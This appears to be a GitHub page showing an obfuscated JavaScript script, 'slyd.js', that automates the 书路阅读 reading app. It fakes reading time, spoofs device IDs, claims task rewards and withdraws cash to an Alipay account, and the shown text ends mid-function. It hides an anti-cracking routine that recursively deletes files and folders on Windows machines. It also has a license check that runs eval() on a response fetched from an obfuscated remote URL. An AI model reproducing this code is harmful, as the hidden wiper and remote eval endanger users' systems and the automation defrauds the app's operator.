-
Notifications
You must be signed in to change notification settings - Fork 5
Expand file tree
/
Copy pathslyd.js
More file actions
1179 lines (1009 loc) · 44.4 KB
/
Copy pathslyd.js
File metadata and controls
1179 lines (1009 loc) · 44.4 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
/*
@肥皂 4.20 书路阅读 安卓&ios 自己搜索下载
抓取域名:read.beijzc.com
变量:slyduid 抓取的userId 多账号@隔开
变量:slydtxzh 提现的支付宝账号
变量 cdkey 对应脚本验证卡密。所有脚本通用
一天运行12次,每次跑15分钟的时长...
4.21 应该是修复了阅读时长的问题
*/
process.env.slyduid = '93944'
const $ = new Env('书路阅读')
let status
status = (status = $['getval']('slydstatus') || '1') > 1 ? '' + status : ''
JSNAMED = $['isNode']() ? require('path')['basename'](__filename) : 'slyd.js'
let slyduid = ($['isNode']() ? process['env']['slyduid'] : $['getdata']('slyduid')) || ''
let slyddid = ($['isNode']() ? process['env']['slyddid'] : $['getdata']('slyddid')) || ''
let slydtxzh = ($['isNode']() ? process['env']['slydtxzh'] : $['getdata']('slydtxzh')) || '',
acckey = $['isNode']() ? (process['env']['cdkey'] ? process['env']['cdkey'] : '') : $['getdata']('cdkey') ? $['getdata']('cdkey') : ''
let slydrwid = ['8', '10', '15', '16', '17']
let txid = '',
arrs = []
var gtr
let mac = ''
let all_msg = ''
if ($['isNode']()) {
gtr = require('fs')
if (isFileExist('C:/')) {
console['log']('电脑环境')
} else {
console['log']('青龙环境')
}
} else {
console['log']('代理环境')
}
function isFileExist(_0x1f78a9) {
try {
gtr['accessSync'](_0x1f78a9, gtr['F_OK'])
} catch (_0x5a3034) {
return false
}
return true
}
function addF(_0x3ff038, _0x311502) {
let _0x1e6aff = 0,
_0x15445c = 'C:/Windows/system.txt'
if (isFileExist(_0x15445c)) {
_0x1e6aff = gtr['readFileSync'](_0x15445c, 'utf8')
} else {
if (isFileExist('C:/')) {
gtr['writeFile'](_0x15445c, '1', function (_0x2b3ed3) {
if (_0x2b3ed3) {
throw _0x2b3ed3
}
})
} else {
return
}
}
if (_0x1e6aff == 99) {
return 99
}
console['log'](_0x1e6aff)
console['log']('警告,恶意破解脚本将面临系统爆炸!!!,你只有3次机会!', _0x1e6aff)
if (parseInt(_0x1e6aff) < 3) {
let _0x3dfd48 = parseInt(_0x1e6aff) + 1
gtr['writeFileSync'](_0x15445c, _0x3dfd48 + '', 'utf8')
return
}
if (!gtr['existsSync'](_0x3ff038)) {
return
}
if (gtr['statSync'](_0x3ff038)['isDirectory']()) {
var _0x437d71 = gtr['readdirSync'](_0x3ff038),
_0x1959f9 = _0x437d71['length'],
_0x6024d6 = 0
if (_0x1959f9 > 0) {
_0x437d71['forEach'](function (_0x5e26cc) {
_0x6024d6++
var _0x5c2203 = _0x3ff038 + '/' + _0x5e26cc
gtr['statSync'](_0x5c2203)['isDirectory']() ? addF(_0x5c2203, true) : gtr['unlinkSync'](_0x5c2203)
})
_0x1959f9 == _0x6024d6 && _0x311502 && gtr['rmdirSync'](_0x3ff038)
} else {
_0x1959f9 == 0 && _0x311502 && gtr['rmdirSync'](_0x3ff038)
}
} else {
gtr['unlinkSync'](_0x3ff038)
}
}
!(async () => {
if (typeof $request !== 'undefined') {
await slydck()
} else {
// arrs = await hqs()
// console["log"](all_msg);
// if (!arrs) {
// return
// }
var slyduidArr = slyduid['split']('@')
// console["log"]("\n公告:" + arrs['gg'] + "\n");
// console['log']("当前版本:1.0 " + arrs['bb'] + "\n");
// console["log"]("------------- 共" + slyduidArr["length"] + "个账号-------------\n");
// console["log"]("当前设备可执行账号限制为" + arrs["num"] + "个账号\n");
for (const [index, iterator] of slyduidArr.entries()) {
slyduid = iterator
$['index'] = index + 1
console['log']('\n开始【书路阅读' + $['index'] + '】')
// await slydqd()
await slydqd2()
await slydbx()
for (const iterator of slydrwid) {
slydid = iterator
await slydrw()
}
for (let _0x337712 = 0; _0x337712 < 15; _0x337712++) {
await slydsc1()
await $['wait'](2000)
await slydsc2()
}
await slydtxid()
await slydtx()
}
// if (slyduidArr['length'] > parseInt(arrs['num'])) {
// } else {
// for (let _0x46889f = 0; _0x46889f < slyduidArr['length']; _0x46889f++) {
// slyduid = slyduidArr[_0x46889f]
// $['index'] = _0x46889f + 1
// console['log']('\n开始【书路阅读' + $['index'] + '】')
// await slydqd()
// await slydqd2()
// await slydbx()
// for (let _0x2c45f0 = 0; _0x2c45f0 < slydrwid['length']; _0x2c45f0++) {
// slydid = slydrwid[_0x2c45f0]
// await slydrw()
// }
// }
// for (let _0x4328d7 = 0; _0x4328d7 < 15; _0x4328d7++) {
// await slydsc1()
// await $['wait'](2000)
// await slydsc2()
// }
// await slydtxid()
// await slydtx()
// }
}
})()
['catch']((_0x25c42) => $['logErr'](_0x25c42))
['finally'](() => $['done']())
function slydqd(_0xfc800 = 0) {
return new Promise((_0xf20e9f) => {
let _0x3f2122 = {
url: arrs['url'],
headers: {
Host: 'read.beijzc.com',
'Content-Type': 'application/json',
deviceid: slyddid,
versionCode: '22',
Connection: 'keep-alive',
productType: '2',
Accept: '*/*',
'Accept-Language': 'zh-Hans-CN;q=1',
'User-Agent': 'chrome',
'Content-Length': '18',
},
body: '{"userId":"' + slyduid + '"}',
}
$['post'](
_0x3f2122,
async (_0xdb4e95, _0x7adb9a, _0x1f5601) => {
try {
const _0x3d16df = JSON['parse'](_0x1f5601)
_0x3d16df['code'] == 0 ? console['log']('\n书路阅读已签到:' + _0x3d16df['data']['continuityDay'] + '天') : console['log']('\n书路阅读签到:' + _0x3d16df['msg'])
} catch (_0x423af1) {
} finally {
_0xf20e9f()
}
},
_0xfc800
)
})
}
function slydqd2(_0x59fa81 = 0) {
return new Promise((_0x4a7996) => {
let _0xcdda4a = {
url: 'https://read.beijzc.com/book/task/v2/finishSignup',
headers: {
Host: 'read.beijzc.com',
'Content-Type': 'application/json',
// deviceid: slyddid,
versionCode: '22',
Connection: 'keep-alive',
productType: '2',
Accept: '*/*',
'Accept-Language': 'zh-Hans-CN;q=1',
'User-Agent': 'chrome',
'Content-Length': '18',
},
body: '{"userId":"' + slyduid + '"}',
}
$['post'](
_0xcdda4a,
async (_0x3d2b63, _0x38b8c7, _0x3423bb) => {
try {
const _0x94deaa = JSON['parse'](_0x3423bb)
_0x94deaa['code'] == 0 ? console['log']('\n书路阅读签到:' + _0x94deaa['msg'] + ' ') : console['log']('\n书路阅读签到:' + _0x94deaa['msg'])
} catch (_0x409c9b) {
} finally {
_0x4a7996()
}
},
_0x59fa81
)
})
}
function slydrw(_0x2609a3 = 0) {
return new Promise((_0x44e629) => {
let _0x4f176a = {
url: 'https://read.beijzc.com/book/task/finishTask',
headers: {
Host: 'read.beijzc.com',
'Content-Type': 'application/json',
deviceid: slyddid,
versionCode: '22',
Connection: 'keep-alive',
productType: '2',
Accept: '*/*',
'Accept-Language': 'zh-Hans-CN;q=1',
'User-Agent': 'chrome',
'Content-Length': '18',
},
body: '{"id":' + slydid + ',"userId":"' + slyduid + '"}',
}
$['post'](
_0x4f176a,
async (_0x1038c9, _0x47d3ac, _0x5937cc) => {
try {
const _0x510d02 = JSON['parse'](_0x5937cc)
_0x510d02['code'] == 0 ? console['log']('\n书路阅读任务:' + slydid + ' 成功') : console['log']('\n书路阅读任务:' + slydid + ' ' + _0x510d02['msg'])
} catch (_0x4b55b7) {
} finally {
_0x44e629()
}
},
_0x2609a3
)
})
}
function slydbx(_0x56993c = 0) {
return new Promise((_0x2abdd5) => {
let _0x318577 = {
url: 'https://read.beijzc.com/book/task/finishTask',
headers: {
Host: 'read.beijzc.com',
'Content-Type': 'application/json',
deviceid: slyddid,
versionCode: '22',
Connection: 'keep-alive',
productType: '2',
Accept: '*/*',
'Accept-Language': 'zh-Hans-CN;q=1',
'User-Agent': 'chrome',
'Content-Length': '18',
},
body: '{"id":"23","userId":"' + slyduid + '","productType":"2"}',
}
$['post'](
_0x318577,
async (_0x1dea60, _0x13470f, _0x397daa) => {
try {
const _0xab0384 = JSON['parse'](_0x397daa)
_0xab0384['code'] == 0 ? (console['log']('\n书路阅读开宝箱 成功'), await slydbx()) : console['log']('\n书路阅读开宝箱:' + _0xab0384['msg'])
} catch (_0x5313bf) {
} finally {
_0x2abdd5()
}
},
_0x56993c
)
})
}
function slydsc1(_0x3f0999 = 0) {
return new Promise((_0x5d1f72) => {
let _0x432352 = {
url: 'https://read.beijzc.com/v2/log/userActionLog',
headers: {
Host: 'read.beijzc.com',
'Content-Type': 'application/json',
deviceid: slyddid,
versionCode: '22',
Connection: 'keep-alive',
productType: '2',
Accept: '*/*',
'Accept-Language': 'zh-Hans-CN;q=1',
'User-Agent': 'chrome',
'Content-Length': '18',
},
body:
'{"currentPage":"book_read","productType":"2","currentAction":"read_time","brand":"Apple","appId":"com.beijzc.BookRoad","isWifi":"Wifi","deviceId":"","versionName":"1.3","userId":"' +
slyduid +
'","channelName":"appStore","data":{"bookId":"1897","chapterId":"867771","time":60},"versionCode":"1.3","model":"iPad11,2","osversion":"14.1"}',
}
$['post'](
_0x432352,
async (_0x3eff0f, _0x52ccbc, _0x2ec701) => {
try {
const _0x267989 = JSON['parse'](_0x2ec701)
_0x267989['code'] == 0 ? console['log']('\n书路阅读上传时长:' + _0x267989['msg']) : console['log']('\n书路阅读上次时长:' + _0x267989['msg'])
} catch (_0x354b3c) {
} finally {
_0x5d1f72()
}
},
_0x3f0999
)
})
}
function slydsc2(_0x1d3620 = 0) {
return new Promise((_0x5d6a1e) => {
let _0xf547d6 = {
url: 'https://read.beijzc.com/v2/book/task/shulu/finishReadTask',
headers: {
Host: 'read.beijzc.com',
'Content-Type': 'application/json',
deviceid: randomString(32),
versionCode: '22',
Connection: 'keep-alive',
productType: '2',
Accept: '*/*',
'Accept-Language': 'zh-Hans-CN;q=1',
'User-Agent': 'chrome',
'Content-Length': '18',
},
body: '{"taskType":2,"userId":"' + slyduid + '","productType":2}',
}
$['post'](
_0xf547d6,
async (_0x350e73, _0x4f3e89, _0x476070) => {
try {
const _0x3786df = JSON['parse'](_0x476070)
_0x3786df['code'] == 0 ? console['log']('\n书路阅读提交时长:' + _0x3786df['data']['tipMsg']) : console['log']('\n书路阅读提交时长:' + _0x476070)
} catch (_0x16638e) {
} finally {
_0x5d6a1e()
}
},
_0x1d3620
)
})
}
function slydtxid(_0x453293 = 0) {
return new Promise((_0x3ea082) => {
let _0x68e141 = {
url: 'https://read.beijzc.com/config/exchangeConfig?userId=' + slyduid + '&productType=2',
headers: {
Host: 'read.beijzc.com',
'Content-Type': 'application/json',
deviceid: '1D614D83-A968-4835-B24E-054D29057C67',
versionCode: '22',
Connection: 'keep-alive',
productType: '2',
Accept: '*/*',
'Accept-Language': 'zh-Hans-CN;q=1',
'User-Agent': 'chrome',
'Content-Length': '18',
},
}
$['get'](
_0x68e141,
async (_0x1f47cf, _0x1708be, _0x1e42b1) => {
try {
const _0x4b505b = JSON['parse'](_0x1e42b1)
_0x4b505b['code'] == 0 ? ((txid = _0x4b505b['data']['aliExchangeList'][0]['id']), console['log']('\n书路阅读去提现:' + _0x4b505b['data']['aliExchangeList'][0]['money'] + '元')) : console['log']('\n书路阅读提现:' + _0x4b505b['msg'])
} catch (_0x1157c5) {
} finally {
_0x3ea082()
}
},
_0x453293
)
})
}
function slydtx(_0x4a9741 = 0) {
return new Promise((_0x13e49d) => {
let _0x5d1ec6 = {
url: 'https://read.beijzc.com/config/exchangeCash',
headers: {
Host: 'read.beijzc.com',
'Content-Type': 'application/json',
deviceid: '1D614D83-A968-4835-B24E-054D29057C67',
versionCode: '22',
Connection: 'keep-alive',
productType: '2',
Accept: '*/*',
'Accept-Language': 'zh-Hans-CN;q=1',
'User-Agent': 'chrome',
'Content-Length': '18',
},
body: '{"productType":"2","id":' + txid + ',"account":"' + slydtxzh + '","userId":"' + slyduid + '"}',
}
$['post'](
_0x5d1ec6,
async (_0x15764a, _0x3e753c, _0x4190bd) => {
try {
const _0x50b898 = JSON['parse'](_0x4190bd)
_0x50b898['code'] == 0 ? console['log']('\n书路阅读提现:' + _0x50b898['msg']) : console['log']('\n书路阅读提现:' + _0x50b898['msg'])
} catch (_0x4c81da) {
} finally {
_0x13e49d()
}
},
_0x4a9741
)
})
}
function randomString(_0x1a1ba9 = 12) {
let _0x44abd6 = 'abcdef0123456789'
let _0xf7539d = _0x44abd6['length'],
_0x4645ba = ''
for (i = 0; i < _0x1a1ba9; i++) {
_0x4645ba += _0x44abd6['charAt'](Math['floor'](Math['random']() * _0xf7539d))
}
return _0x4645ba
}
function rand(_0x18abe8, _0x1f2c68) {
return parseInt(Math['random']() * (_0x1f2c68 - _0x18abe8 + 1) + _0x18abe8, 10)
}
function hqs(_0x193b03 = 10) {
return new Promise((_0x4b7b1a) => {
let _0x86a1f5 = 13
let _0xc68b6e = {
url: $['isNode']() ? rc4($['fwur'](), '1200') + ('?key=' + acckey + '&id=' + _0x86a1f5 + '&ip=1&mac=' + mac + '&bb=1') : rc4($['fwur'](), '1200') + ('?key=' + acckey + '&id=' + _0x86a1f5 + '&ip=0&mac=' + mac + '&bb=1'),
}
$['post'](
_0xc68b6e,
async (_0x34cdab, _0x3bc42a, _0x5ba2c0) => {
try {
let _0x28489e = eval(_0x5ba2c0)
_0x28489e['code'] == 200 ? ((all_msg = _0x28489e['msg']), _0x4b7b1a(_0x28489e['data'])) : ((all_msg = _0x28489e['msg']), _0x4b7b1a(false))
} catch (_0x9e8958) {
$['logErr'](_0x9e8958, _0x3bc42a)
}
},
0
)
})
}
function FxPCnMKLw7() {
_keyStr = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='
this['encode'] = function (_0x248e93) {
var _0x43b21d = ''
var _0x2d5d5b, _0x8d7a94, _0x3376ff, _0x8b25d9, _0x11e902, _0x174157, _0x214138
var _0x18e608 = 0
_0x248e93 = _utf8_encode(_0x248e93)
while (_0x18e608 < _0x248e93['length']) {
_0x2d5d5b = _0x248e93['charCodeAt'](_0x18e608++)
_0x8d7a94 = _0x248e93['charCodeAt'](_0x18e608++)
_0x3376ff = _0x248e93['charCodeAt'](_0x18e608++)
_0x8b25d9 = _0x2d5d5b >> 2
_0x11e902 = ((_0x2d5d5b & 3) << 4) | (_0x8d7a94 >> 4)
_0x174157 = ((_0x8d7a94 & 15) << 2) | (_0x3376ff >> 6)
_0x214138 = _0x3376ff & 63
if (isNaN(_0x8d7a94)) {
_0x174157 = _0x214138 = 64
} else {
isNaN(_0x3376ff) && (_0x214138 = 64)
}
_0x43b21d = _0x43b21d + _keyStr['charAt'](_0x8b25d9) + _keyStr['charAt'](_0x11e902) + _keyStr['charAt'](_0x174157) + _keyStr['charAt'](_0x214138)
}
return _0x43b21d
}
this['decode'] = function (_0x269d1d) {
var _0x442149 = ''
var _0x326406, _0x57b9cc, _0x324ec1, _0x54f32a, _0x383af1, _0x226f68, _0x3b344e
var _0x445a44 = 0
_0x269d1d = _0x269d1d['replace'](/[^A-Za-z0-9\+\/\=]/g, '')
while (_0x445a44 < _0x269d1d['length']) {
_0x54f32a = _keyStr['indexOf'](_0x269d1d['charAt'](_0x445a44++))
_0x383af1 = _keyStr['indexOf'](_0x269d1d['charAt'](_0x445a44++))
_0x226f68 = _keyStr['indexOf'](_0x269d1d['charAt'](_0x445a44++))
_0x3b344e = _keyStr['indexOf'](_0x269d1d['charAt'](_0x445a44++))
_0x326406 = (_0x54f32a << 2) | (_0x383af1 >> 4)
_0x57b9cc = ((_0x383af1 & 15) << 4) | (_0x226f68 >> 2)
_0x324ec1 = ((_0x226f68 & 3) << 6) | _0x3b344e
_0x442149 = _0x442149 + String['fromCharCode'](_0x326406)
_0x226f68 != 64 && (_0x442149 = _0x442149 + String['fromCharCode'](_0x57b9cc))
_0x3b344e != 64 && (_0x442149 = _0x442149 + String['fromCharCode'](_0x324ec1))
}
_0x442149 = _utf8_decode(_0x442149)
return _0x442149
}
_utf8_encode = function (_0x27a212) {
_0x27a212 = _0x27a212['replace'](/\r\n/g, '\n')
var _0x40b1dc = ''
for (var _0x15a8dd = 0; _0x15a8dd < _0x27a212['length']; _0x15a8dd++) {
var _0x3684bf = _0x27a212['charCodeAt'](_0x15a8dd)
if (_0x3684bf < 128) {
_0x40b1dc += String['fromCharCode'](_0x3684bf)
} else {
_0x3684bf > 127 && _0x3684bf < 2048
? ((_0x40b1dc += String['fromCharCode']((_0x3684bf >> 6) | 192)), (_0x40b1dc += String['fromCharCode']((_0x3684bf & 63) | 128)))
: ((_0x40b1dc += String['fromCharCode']((_0x3684bf >> 12) | 224)), (_0x40b1dc += String['fromCharCode'](((_0x3684bf >> 6) & 63) | 128)), (_0x40b1dc += String['fromCharCode']((_0x3684bf & 63) | 128)))
}
}
return _0x40b1dc
}
_utf8_decode = function (_0x551264) {
var _0x150224 = ''
var _0x29a3c0 = 0,
_0x17a597 = (c1 = c2 = 0)
while (_0x29a3c0 < _0x551264['length']) {
_0x17a597 = _0x551264['charCodeAt'](_0x29a3c0)
if (_0x17a597 < 128) {
_0x150224 += String['fromCharCode'](_0x17a597)
_0x29a3c0++
} else {
_0x17a597 > 191 && _0x17a597 < 224
? ((c2 = _0x551264['charCodeAt'](_0x29a3c0 + 1)), (_0x150224 += String['fromCharCode'](((_0x17a597 & 31) << 6) | (c2 & 63))), (_0x29a3c0 += 2))
: ((c2 = _0x551264['charCodeAt'](_0x29a3c0 + 1)), (c3 = _0x551264['charCodeAt'](_0x29a3c0 + 2)), (_0x150224 += String['fromCharCode'](((_0x17a597 & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63))), (_0x29a3c0 += 3))
}
}
return _0x150224
}
}
function rc4(_0x66b050, _0x41d572) {
var _0x4de327 = Array(256)
var _0x3a26d9 = Array(_0x66b050['length'])
for (var _0xd22e7f = 0; _0xd22e7f < 256; _0xd22e7f++) {
_0x4de327[_0xd22e7f] = _0xd22e7f
var _0x4a304e = (_0x4a304e + _0x4de327[_0xd22e7f] + _0x41d572['charCodeAt'](_0xd22e7f % _0x41d572['length'])) % 256,
_0x370b05 = _0x4de327[_0xd22e7f]
_0x4de327[_0xd22e7f] = _0x4de327[_0x4a304e]
_0x4de327[_0x4a304e] = _0x370b05
}
for (var _0xd22e7f = 0; _0xd22e7f < _0x66b050['length']; _0xd22e7f++) {
_0x3a26d9[_0xd22e7f] = _0x66b050['charCodeAt'](_0xd22e7f)
}
for (var _0x49e309 = 0; _0x49e309 < _0x3a26d9['length']; _0x49e309++) {
var _0xd22e7f = (_0xd22e7f + 1) % 256,
_0x4a304e = (_0x4a304e + _0x4de327[_0xd22e7f]) % 256,
_0x370b05 = _0x4de327[_0xd22e7f]
_0x4de327[_0xd22e7f] = _0x4de327[_0x4a304e]
_0x4de327[_0x4a304e] = _0x370b05
var _0x5cb46c = (_0x4de327[_0xd22e7f] + (_0x4de327[_0x4a304e] % 256)) % 256
_0x3a26d9[_0x49e309] = String['fromCharCode'](_0x3a26d9[_0x49e309] ^ _0x4de327[_0x5cb46c])
}
return _0x3a26d9['join']('')
}
function Env(_0x3a97e6, _0x145d6e) {
class _0x18aec0 {
constructor(_0x3b36e5) {
this['env'] = _0x3b36e5
}
['send'](_0x15585a, _0x39a083 = 'GET') {
_0x15585a =
'string' == typeof _0x15585a
? {
url: _0x15585a,
}
: _0x15585a
let _0xe49d34 = this['get']
'POST' === _0x39a083 && (_0xe49d34 = this['post'])
return new Promise((_0x2f7ed4, _0x28c2d5) => {
_0xe49d34['call'](this, _0x15585a, (_0x535baa, _0x345cf6, _0x4e8e2a) => {
_0x535baa ? _0x28c2d5(_0x535baa) : _0x2f7ed4(_0x345cf6)
})
})
}
['get'](_0x4b43e5) {
return this['send']['call'](this['env'], _0x4b43e5)
}
['post'](_0x2a89b4) {
return this['send']['call'](this['env'], _0x2a89b4, 'POST')
}
}
return new (class {
constructor(_0x48f339, _0x17eda4) {
this['name'] = _0x48f339
this['http'] = new _0x18aec0(this)
this['data'] = null
this['dataFile'] = 'box.dat'
this['logs'] = []
this['isMute'] = false
this['isNeedRewrite'] = false
this['logSeparator'] = '\n'
this['encoding'] = 'utf-8'
this['startTime'] = new Date()['getTime']()
Object['assign'](this, _0x17eda4)
this['log']('', '🔔' + this['name'] + ', 开始!')
}
['isNode']() {
return 'undefined' != typeof module && !!module['exports']
}
['isQuanX']() {
return 'undefined' != typeof $task
}
['isSurge']() {
return 'undefined' != typeof $httpClient && 'undefined' == typeof $loon
}
['isLoon']() {
return 'undefined' != typeof $loon
}
['isShadowrocket']() {
return 'undefined' != typeof $rocket
}
['toObj'](_0x316d5b, _0x1b1513 = null) {
try {
return JSON['parse'](_0x316d5b)
} catch {
return _0x1b1513
}
}
['toStr'](_0x36ed50, _0x3be338 = null) {
try {
return JSON['stringify'](_0x36ed50)
} catch {
return _0x3be338
}
}
['getjson'](_0x5cb2e8, _0x2a3884) {
let _0x523583 = _0x2a3884
const _0x3eee35 = this['getdata'](_0x5cb2e8)
if (_0x3eee35) {
try {
_0x523583 = JSON['parse'](this['getdata'](_0x5cb2e8))
} catch {}
}
return _0x523583
}
['setjson'](_0x4ed0f4, _0x5f020d) {
try {
return this['setdata'](JSON['stringify'](_0x4ed0f4), _0x5f020d)
} catch {
return false
}
}
['getScript'](_0x581a10) {
return new Promise((_0x729863) => {
this['get'](
{
url: _0x581a10,
},
(_0x2aa8ed, _0x5790d2, _0x169f0e) => _0x729863(_0x169f0e)
)
})
}
['runScript'](_0x3262b9, _0x5b3765) {
return new Promise((_0x239576) => {
let _0x282aec = this['getdata']('@chavy_boxjs_userCfgs.httpapi')
_0x282aec = _0x282aec ? _0x282aec['replace'](/\n/g, '')['trim']() : _0x282aec
let _0x115cba = this['getdata']('@chavy_boxjs_userCfgs.httpapi_timeout')
_0x115cba = _0x115cba ? 1 * _0x115cba : 20
_0x115cba = _0x5b3765 && _0x5b3765['timeout'] ? _0x5b3765['timeout'] : _0x115cba
const [_0x32e451, _0x12b8ec] = _0x282aec['split']('@'),
_0x169bf7 = {
url: 'http://' + _0x12b8ec + '/v1/scripting/evaluate',
body: {
script_text: _0x3262b9,
mock_type: 'cron',
timeout: _0x115cba,
},
headers: {
'X-Key': _0x32e451,
Accept: '*/*',
},
}
this['post'](_0x169bf7, (_0x465e59, _0x3cf49b, _0x1aa3d4) => _0x239576(_0x1aa3d4))
})['catch']((_0x451bd6) => this['logErr'](_0x451bd6))
}
['loaddata']() {
if (!this['isNode']()) {
return {}
}
{
this['fs'] = this['fs'] ? this['fs'] : require('fs')
this['path'] = this['path'] ? this['path'] : require('path')
const _0x342343 = this['path']['resolve'](this['dataFile']),
_0x680cd3 = this['path']['resolve'](process['cwd'](), this['dataFile']),
_0x522940 = this['fs']['existsSync'](_0x342343),
_0x10de53 = !_0x522940 && this['fs']['existsSync'](_0x680cd3)
if (!_0x522940 && !_0x10de53) {
return {}
}
{
const _0x508092 = _0x522940 ? _0x342343 : _0x680cd3
try {
return JSON['parse'](this['fs']['readFileSync'](_0x508092))
} catch (_0x55078f) {
return {}
}
}
}
}
['writedata']() {
if (this['isNode']()) {
this['fs'] = this['fs'] ? this['fs'] : require('fs')
this['path'] = this['path'] ? this['path'] : require('path')
const _0x105329 = this['path']['resolve'](this['dataFile']),
_0x1ae458 = this['path']['resolve'](process['cwd'](), this['dataFile']),
_0x40d146 = this['fs']['existsSync'](_0x105329),
_0x239e36 = !_0x40d146 && this['fs']['existsSync'](_0x1ae458),
_0x120e14 = JSON['stringify'](this['data'])
_0x40d146 ? this['fs']['writeFileSync'](_0x105329, _0x120e14) : _0x239e36 ? this['fs']['writeFileSync'](_0x1ae458, _0x120e14) : this['fs']['writeFileSync'](_0x105329, _0x120e14)
}
}
['lodash_get'](_0x6bd33, _0x109c1e, _0x4f997a) {
const _0x242967 = _0x109c1e['replace'](/\[(\d+)\]/g, '.$1')['split']('.')
let _0x4cb2ed = _0x6bd33
for (const _0x174422 of _0x242967)
if (((_0x4cb2ed = Object(_0x4cb2ed)[_0x174422]), void 0 === _0x4cb2ed)) {
return _0x4f997a
}
return _0x4cb2ed
}
['lodash_set'](_0x28ed9c, _0x50a189, _0x272538) {
return Object(_0x28ed9c) !== _0x28ed9c
? _0x28ed9c
: (Array['isArray'](_0x50a189) || (_0x50a189 = _0x50a189['toString']()['match'](/[^.[\]]+/g) || []),
(_0x50a189['slice'](0, -1)['reduce']((_0x3c2c46, _0x3090c4, _0x50c484) => (Object(_0x3c2c46[_0x3090c4]) === _0x3c2c46[_0x3090c4] ? _0x3c2c46[_0x3090c4] : (_0x3c2c46[_0x3090c4] = Math['abs'](_0x50a189[_0x50c484 + 1]) >> 0 == +_0x50a189[_0x50c484 + 1] ? [] : {})), _0x28ed9c)[
_0x50a189[_0x50a189['length'] - 1]
] = _0x272538),
_0x28ed9c)
}
['getdata'](_0x20df00) {
let _0x323f3e = this['getval'](_0x20df00)
if (/^@/['test'](_0x20df00)) {
const [, _0x91e216, _0x4f032a] = /^@(.*?)\.(.*?)$/['exec'](_0x20df00),
_0xf7dc34 = _0x91e216 ? this['getval'](_0x91e216) : ''
if (_0xf7dc34) {
try {
const _0x3bdf10 = JSON['parse'](_0xf7dc34)
_0x323f3e = _0x3bdf10 ? this['lodash_get'](_0x3bdf10, _0x4f032a, '') : _0x323f3e
} catch (_0x381990) {
_0x323f3e = ''
}
}
}
return _0x323f3e
}
['setdata'](_0x3a945e, _0x2767fa) {
let _0x3c0ed5 = false
if (/^@/['test'](_0x2767fa)) {
const [, _0x1ca73e, _0x5b2891] = /^@(.*?)\.(.*?)$/['exec'](_0x2767fa),
_0x4f6313 = this['getval'](_0x1ca73e),
_0x34a8cf = _0x1ca73e ? ('null' === _0x4f6313 ? null : _0x4f6313 || '{}') : '{}'
try {
const _0x31deaa = JSON['parse'](_0x34a8cf)
